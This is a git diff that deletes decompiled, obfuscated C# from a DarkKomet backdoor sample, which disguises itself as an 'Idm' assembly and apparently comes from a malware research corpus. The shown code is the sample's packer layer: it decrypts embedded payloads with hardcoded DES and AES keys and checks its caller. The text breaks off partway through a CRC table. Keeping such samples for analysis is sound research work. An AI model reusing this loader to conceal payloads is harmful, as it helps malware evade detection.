C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate object \u0008\u0004([In] object obj0, [In] string obj1, [In] object obj2); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_000E/_007F.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_000E/_007F.cs deleted file mode 100644 index d0a03de5..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_000E/_007F.cs +++ /dev/null @@ -1,99 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u000E; -using System.Runtime.InteropServices; - -namespace \u000E -{ - internal sealed class \u007F - { - internal static \u007F.\u0080 \u0001; - internal static \u007F.\u0081 \u0002; - internal static \u007F.\u0082 \u0003; - internal static \u007F.\u0083 \u0004; - internal static \u007F.\u0084 \u0005; - internal static \u007F.\u0086 \u0006; - internal static \u007F.\u0087 \u0007; - internal static \u007F.\u0088 \u0008; - internal static \u007F.\u0089 \u000E; - internal static \u007F.\u008A \u000F; - internal static \u007F.\u008B \u0010; - internal static \u007F.\u008C \u0011; - internal static \u007F.\u008D \u0012; - internal static \u007F.\u008E \u0013; - - [StructLayout(LayoutKind.Explicit, Size = 8, Pack = 1)] - private struct \u0080 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 8, Pack = 1)] - private struct \u0081 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 16, Pack = 1)] - private struct \u0082 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 16, Pack = 1)] - private struct \u0083 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 1024, Pack = 1)] - private struct \u0084 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)] - private struct \u0086 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)] - private struct \u0087 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)] - private struct \u0088 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)] - private struct \u0089 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)] - private struct \u008A - { - } - - [StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)] - private struct \u008B - { - } - - [StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)] - private struct \u008C - { - } - - [StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)] - private struct \u008D - { - } - - [StructLayout(LayoutKind.Explicit, Size = 16, Pack = 1)] - private struct \u008E - { - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_000E_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_000E_0003.cs deleted file mode 100644 index 2a101401..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_000E_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; - -internal delegate AppDomain \u000E\u0003(); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_000E_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_000E_0004.cs deleted file mode 100644 index 00f7bb23..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_000E_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate int \u000E\u0004([In] Type obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_000F_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_000F_0003.cs deleted file mode 100644 index 421ff4b9..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_000F_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate Assembly[] \u000F\u0003([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_000F_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_000F_0004.cs deleted file mode 100644 index e223461f..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_000F_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate long \u000F\u0004([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0010/_000F.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0010/_000F.cs deleted file mode 100644 index 63d1dc3e..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0010/_000F.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u0008; -using \u007F\u0004; -using System; - -namespace \u0010 -{ - internal class \u000F - { - public static void \u0005\u0002() - { - try - { - try - { - \u00083.\u0006\u0002(); - } - catch (Exception ex) - { - } - } - catch (Exception ex) - { - \u0089\u0004.\u0017\u0005(ex); - throw; - } - } - - public \u000F() - { - try - { - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0010_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0010_0003.cs deleted file mode 100644 index 6e1b6e0b..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0010_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate void \u0010\u0003([In] object obj0, [In] UnhandledExceptionEventHandler obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0010_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0010_0004.cs deleted file mode 100644 index d1ef85d8..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0010_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate void \u0010\u0004([In] object obj0, [In] long obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0011_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0011_0003.cs deleted file mode 100644 index 0978c9a1..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0011_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate bool \u0011\u0003([In] string obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0011_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0011_0004.cs deleted file mode 100644 index 838c79d7..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0011_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.IO; -using System.Runtime.InteropServices; - -internal delegate long \u0011\u0004([In] object obj0, [In] long obj1, [In] SeekOrigin obj2); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0012/_0011.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0012/_0011.cs deleted file mode 100644 index d1ad8bad..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0012/_0011.cs +++ /dev/null @@ -1,104 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u007F\u0004; -using System; -using System.IO; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Security.Cryptography; - -namespace \u0012 -{ - internal sealed class \u0011 : IDisposable - { - private readonly Type \u0001; - private readonly object \u0002; - - public \u0011() - { - Assembly assembly1; - try - { - try - { - assembly1 = Assembly.Load("System.Core, Version=2.0.5.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e"); - this.\u0001 = assembly1.GetType("System.Security.Cryptography.AesManaged"); - } - catch (FileNotFoundException ex) - { - assembly1 = Assembly.Load("mscorlib"); - this.\u0001 = assembly1.GetType("System.Security.Cryptography.RijndaelManaged"); - } - this.\u0002 = Activator.CreateInstance(this.\u0001); - } - catch (Exception ex) - { - Assembly assembly2 = assembly1; - \u0089\u0004.\u0019\u0005(ex, (object) assembly2, (object) this); - throw; - } - } - - public ICryptoTransform \u0007\u0002([In] byte[] obj0, [In] byte[] obj1, [In] bool obj2) - { - object[] objArray1; - MethodInfo method; - try - { - MethodInfo setMethod1 = this.\u0001.GetProperty("Key").GetSetMethod(); - object obj3 = this.\u0002; - objArray1 = new object[1]{ (object) obj0 }; - object[] parameters1 = objArray1; - setMethod1.Invoke(obj3, parameters1); - MethodInfo setMethod2 = this.\u0001.GetProperty("IV").GetSetMethod(); - object obj4 = this.\u0002; - objArray1 = new object[1]{ (object) obj1 }; - object[] parameters2 = objArray1; - setMethod2.Invoke(obj4, parameters2); - method = this.\u0001.GetMethod(obj2 ? "CreateDecryptor" : "CreateEncryptor", new Type[0]); - return (ICryptoTransform) method.Invoke(this.\u0002, new object[0]); - } - catch (Exception ex) - { - MethodInfo methodInfo = method; - object[] objArray2 = objArray1; - byte[] numArray1 = obj0; - byte[] numArray2 = obj1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) obj2; - \u0089\u0004.\u001D\u0005(ex, (object) methodInfo, (object) objArray2, (object) this, (object) numArray1, (object) numArray2, (object) local); - throw; - } - } - - public void \u0008\u0002() - { - try - { - this.\u0001.GetMethod("Clear").Invoke(this.\u0002, new object[0]); - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - - public void Dispose() - { - try - { - this.\u0008\u0002(); - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0012/_0013.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0012/_0013.cs deleted file mode 100644 index bff85d5a..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0012/_0013.cs +++ /dev/null @@ -1,95 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u007F\u0004; -using System; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Security.Cryptography; - -namespace \u0012 -{ - internal sealed class \u0013 : IDisposable - { - private readonly Type \u0001; - private readonly object \u0002; - - public \u0013() - { - Assembly assembly1; - try - { - assembly1 = Assembly.Load("mscorlib"); - this.\u0001 = assembly1.GetType("System.Security.Cryptography.DESCryptoServiceProvider"); - this.\u0002 = Activator.CreateInstance(this.\u0001); - } - catch (Exception ex) - { - Assembly assembly2 = assembly1; - \u0089\u0004.\u0019\u0005(ex, (object) assembly2, (object) this); - throw; - } - } - - public ICryptoTransform \u000E\u0002([In] byte[] obj0, [In] byte[] obj1, [In] bool obj2) - { - object[] objArray1; - MethodInfo method; - try - { - MethodInfo setMethod1 = this.\u0001.GetProperty("Key").GetSetMethod(); - object obj3 = this.\u0002; - objArray1 = new object[1]{ (object) obj0 }; - object[] parameters1 = objArray1; - setMethod1.Invoke(obj3, parameters1); - MethodInfo setMethod2 = this.\u0001.GetProperty("IV").GetSetMethod(); - object obj4 = this.\u0002; - objArray1 = new object[1]{ (object) obj1 }; - object[] parameters2 = objArray1; - setMethod2.Invoke(obj4, parameters2); - method = this.\u0001.GetMethod(obj2 ? "CreateDecryptor" : "CreateEncryptor", new Type[0]); - return (ICryptoTransform) method.Invoke(this.\u0002, new object[0]); - } - catch (Exception ex) - { - MethodInfo methodInfo = method; - object[] objArray2 = objArray1; - byte[] numArray1 = obj0; - byte[] numArray2 = obj1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) obj2; - \u0089\u0004.\u001D\u0005(ex, (object) methodInfo, (object) objArray2, (object) this, (object) numArray1, (object) numArray2, (object) local); - throw; - } - } - - public void \u0008\u0002() - { - try - { - this.\u0001.GetMethod("Clear").Invoke(this.\u0002, new object[0]); - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - - public void Dispose() - { - try - { - this.\u0008\u0002(); - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0012/_0014.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0012/_0014.cs deleted file mode 100644 index 0862183f..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0012/_0014.cs +++ /dev/null @@ -1,4051 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u0012; -using \u007F\u0004; -using System; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; - -namespace \u0012 -{ - internal class \u0014 - { - public static string \u0001; - - private static bool \u000F\u0002([In] Assembly obj0, [In] Assembly obj1) - { - byte[] publicKey1; - byte[] publicKey2; - int index; - try - { - publicKey1 = obj0.GetName().GetPublicKey(); - publicKey2 = obj1.GetName().GetPublicKey(); - if (publicKey2 == null != (publicKey1 == null)) - return false; - if (publicKey2 != null) - { - for (index = 0; index < publicKey2.Length; ++index) - { - if ((int) publicKey2[index] != (int) publicKey1[index]) - return false; - } - } - return true; - } - catch (Exception ex) - { - byte[] numArray1 = publicKey1; - byte[] numArray2 = publicKey2; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) index; - Assembly assembly1 = obj0; - Assembly assembly2 = obj1; - \u0089\u0004.\u001C\u0005(ex, (object) numArray1, (object) numArray2, (object) local, (object) assembly1, (object) assembly2); - throw; - } - } - - public static byte[] \u0010\u0002([In] byte[] obj0) - { - Assembly executingAssembly; - Assembly callingAssembly; - \u0014.\u001F obj1; - byte[] numArray1; - int num1; - short num2; - int num3; - int num4; - int length1; - int count1; - int count2; - byte[] buffer1; - byte[] buffer2; - byte[] buffer3; - \u0014.\u0015 obj2; - int num5; - int length2; - int num6; - int length3; - int num7; - byte[] buffer4; - \u0014.\u0015 obj3; - byte[] numArray2; - byte[] numArray3; - \u0013 obj4; - ICryptoTransform cryptoTransform1; - byte[] numArray4; - byte[] numArray5; - byte[] numArray6; - \u0011 obj5; - ICryptoTransform cryptoTransform2; - byte[] numArray7; - try - { - callingAssembly = Assembly.GetCallingAssembly(); - executingAssembly = Assembly.GetExecutingAssembly(); - if ((object) callingAssembly != (object) executingAssembly && !\u0014.\u000F\u0002(executingAssembly, callingAssembly)) - return (byte[]) null; - obj1 = new \u0014.\u001F(obj0); - numArray1 = new byte[0]; - num1 = obj1.\u0018\u0003(); - if (num1 == 67324752) - { - num2 = (short) obj1.\u0017\u0003(); - num3 = obj1.\u0017\u0003(); - num4 = obj1.\u0017\u0003(); - if (num1 != 67324752 || num2 != (short) 20 || num3 != 0 || num4 != 8) - throw new FormatException("Wrong Header Signature"); - obj1.\u0018\u0003(); - obj1.\u0018\u0003(); - obj1.\u0018\u0003(); - length1 = obj1.\u0018\u0003(); - count1 = obj1.\u0017\u0003(); - count2 = obj1.\u0017\u0003(); - if (count1 > 0) - { - buffer1 = new byte[(int) checked ((uint) count1)]; - obj1.Read(buffer1, 0, count1); - } - if (count2 > 0) - { - buffer2 = new byte[(int) checked ((uint) count2)]; - obj1.Read(buffer2, 0, count2); - } - buffer3 = new byte[(int) checked ((uint) unchecked (obj1.Length - obj1.Position))]; - obj1.Read(buffer3, 0, buffer3.Length); - obj2 = new \u0014.\u0015(buffer3); - numArray1 = new byte[(int) checked ((uint) length1)]; - obj2.\u0016\u0002(numArray1, 0, numArray1.Length); - buffer3 = (byte[]) null; - } - else - { - num5 = num1 >> 24; - num1 -= num5 << 24; - if (num1 != 8223355) - throw new FormatException("Unknown Header"); - if (num5 == 1) - { - length2 = obj1.\u0018\u0003(); - numArray1 = new byte[(int) checked ((uint) length2)]; - for (num6 = 0; num6 < length2; num6 += num7) - { - length3 = obj1.\u0018\u0003(); - num7 = obj1.\u0018\u0003(); - buffer4 = new byte[(int) checked ((uint) length3)]; - obj1.Read(buffer4, 0, buffer4.Length); - obj3 = new \u0014.\u0015(buffer4); - obj3.\u0016\u0002(numArray1, num6, num7); - } - } - if (num5 == 2) - { - numArray2 = new byte[8] - { - (byte) 181, - (byte) 74, - (byte) 99, - (byte) 84, - (byte) 237, - (byte) 91, - (byte) 29, - (byte) 145 - }; - numArray3 = new byte[8] - { - (byte) 137, - (byte) 42, - (byte) 55, - (byte) 68, - (byte) 132, - (byte) 214, - (byte) 105, - (byte) 32 - }; - obj4 = new \u0013(); - try - { - cryptoTransform1 = obj4.\u000E\u0002(numArray2, numArray3, true); - try - { - numArray4 = cryptoTransform1.TransformFinalBlock(obj0, 4, obj0.Length - 4); - numArray1 = \u0014.\u0010\u0002(numArray4); - } - finally - { - cryptoTransform1?.Dispose(); - } - } - finally - { - obj4?.Dispose(); - } - } - if (num5 == 3) - { - numArray5 = new byte[16] - { - (byte) 1, - (byte) 1, - (byte) 1, - (byte) 1, - (byte) 1, - (byte) 1, - (byte) 1, - (byte) 1, - (byte) 1, - (byte) 1, - (byte) 1, - (byte) 1, - (byte) 1, - (byte) 1, - (byte) 1, - (byte) 1 - }; - numArray6 = new byte[16] - { - (byte) 2, - (byte) 2, - (byte) 2, - (byte) 2, - (byte) 2, - (byte) 2, - (byte) 2, - (byte) 2, - (byte) 2, - (byte) 2, - (byte) 2, - (byte) 2, - (byte) 2, - (byte) 2, - (byte) 2, - (byte) 2 - }; - obj5 = new \u0011(); - try - { - cryptoTransform2 = obj5.\u0007\u0002(numArray5, numArray6, true); - try - { - numArray7 = cryptoTransform2.TransformFinalBlock(obj0, 4, obj0.Length - 4); - numArray1 = \u0014.\u0010\u0002(numArray7); - } - finally - { - cryptoTransform2?.Dispose(); - } - } - finally - { - obj5?.Dispose(); - } - } - } - obj1.Close(); - return numArray1; - } - catch (Exception ex) - { - object[] objArray = new object[33] - { - (object) callingAssembly, - (object) executingAssembly, - (object) obj1, - (object) numArray1, - (object) num1, - (object) num2, - (object) num3, - (object) num4, - (object) length1, - (object) count1, - (object) count2, - (object) buffer1, - (object) buffer2, - (object) buffer3, - (object) obj2, - (object) num5, - (object) length2, - (object) num6, - (object) length3, - (object) num7, - (object) obj3, - (object) buffer4, - (object) numArray2, - (object) numArray3, - (object) obj4, - (object) cryptoTransform1, - (object) numArray4, - (object) numArray5, - (object) numArray6, - (object) obj5, - (object) cryptoTransform2, - (object) numArray7, - (object) obj0 - }; - \u0089\u0004.\u0081\u0005(ex, objArray); - throw; - } - } - - public static byte[] \u0011\u0002([In] byte[] obj0) - { - try - { - return \u0014.\u0011\u0002(obj0, 1, (byte[]) null, (byte[]) null); - } - catch (Exception ex) - { - byte[] numArray = obj0; - \u0089\u0004.\u0018\u0005(ex, (object) numArray); - throw; - } - } - - private static byte[] \u0011\u0002([In] byte[] obj0, [In] int obj1, [In] byte[] obj2, [In] byte[] obj3) - { - \u0014.\u001A obj4; - DateTime now; - long num1; - uint[] numArray1; - uint maxValue; - uint num2; - int num3; - int length; - \u0014.\u001F obj5; - long position1; - byte[] bytes; - byte[] buffer1; - int count1; - byte[] buffer2; - int count2; - long num4; - int srcOffset; - byte[] dst; - long position2; - \u0014.\u001A obj6; - byte[] buffer3; - int count3; - byte[] buffer4; - int count4; - long position3; - byte[] inputBuffer1; - \u0013 obj7; - ICryptoTransform cryptoTransform1; - byte[] buffer5; - byte[] inputBuffer2; - \u0011 obj8; - ICryptoTransform cryptoTransform2; - byte[] buffer6; - try - { - byte[] array; - try - { - \u0014.\u001F obj9 = new \u0014.\u001F(); - if (true) - obj5 = obj9; - switch (obj1) - { - case 0: - obj4 = new \u0014.\u001A(); - now = DateTime.Now; - num1 = (long) ((uint) ((now.Year - 1980 & (int) sbyte.MaxValue) << 25 | now.Month << 21 | now.Day << 16 | now.Hour << 11 | now.Minute << 5) | (uint) now.Second >> 1); - numArray1 = new uint[256] - { - 0U, - 1996959894U, - 3993919788U, - 2567524794U, - 124634137U, - 1886057615U, - 3915621685U, - 2657392035U, - 249268274U, - 2044508324U, - 3772115230U, - 2547177864U, - 162941995U, - 2125561021U, - 3887607047U, - 2428444049U, - 498536548U, - 1789927666U, - 4089016648U, - 2227061214U, - 450548861U, - 1843258603U, - 4107580753U, - 2211677639U, - 325883990U, - 1684777152U, - 4251122042U, - 2321926636U, - 335633487U, - 1661365465U, - 4195302755U, - 2366115317U, - 997073096U, - 1281953886U, - 3579855332U, - 2724688242U, - 1006888145U, - 1258607687U, - 3524101629U, - 2768942443U, - 901097722U, - 1119000684U, - 3686517206U, - 2898065728U, - 853044451U, - 1172266101U, - 3705015759U, - 2882616665U, - 651767980U, - 1373503546U, - 3369554304U, - 3218104598U, - 565507253U, - 1454621731U, - 3485111705U, - 3099436303U, - 671266974U, - 1594198024U, - 3322730930U, - 